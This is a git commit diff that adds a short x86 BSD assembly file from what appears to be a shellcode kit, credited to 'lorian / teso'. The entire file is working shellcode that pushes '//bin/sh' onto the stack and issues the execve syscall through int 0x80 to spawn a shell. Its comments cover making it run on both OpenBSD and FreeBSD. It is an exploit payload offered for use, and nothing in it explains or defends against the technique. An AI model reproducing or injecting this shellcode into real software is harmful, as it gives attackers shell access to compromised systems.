initial

1 files changed, 31 insertions, 0 deletions

diff --git a/other/shellkit/x86_bsd/execvesh.s b/other/shellkit/x86_bsd/execvesh.s
new file mode 100644
index 0000000..370e7a4
--- /dev/null
+++ b/other/shellkit/x86_bsd/execvesh.s
@@ -0,0 +1,31 @@
+/* x86/BSD execve /bin/sh shellcode
+ *  
+ * lorian / teso
+ */
+
+/* somehow the obsd on plan9 where i tested it, needs the labels
+ * exported with _ before, while freebsd doesnt 
+ */
+
+/* argv: OBSD needs a pointer to NULL, FBSD accepts NULL */
+
+        .globl  cbegin
+        .globl  _cbegin
+        .globl  cend
+        .globl  _cend
+
+_cbegin:
+cbegin:
+        pushl     $0x3b
+        popl      %eax
+        cdq
+        pushl     %edx
+        movl      %esp, %ebx
+        push      $0x68732F6E
+        push      $0x69622F2F
+        pusha                 /* FULLPOWER */
+        pop       %esi
+        pop       %esi
+        int       $0x80
+_cend:
+cend: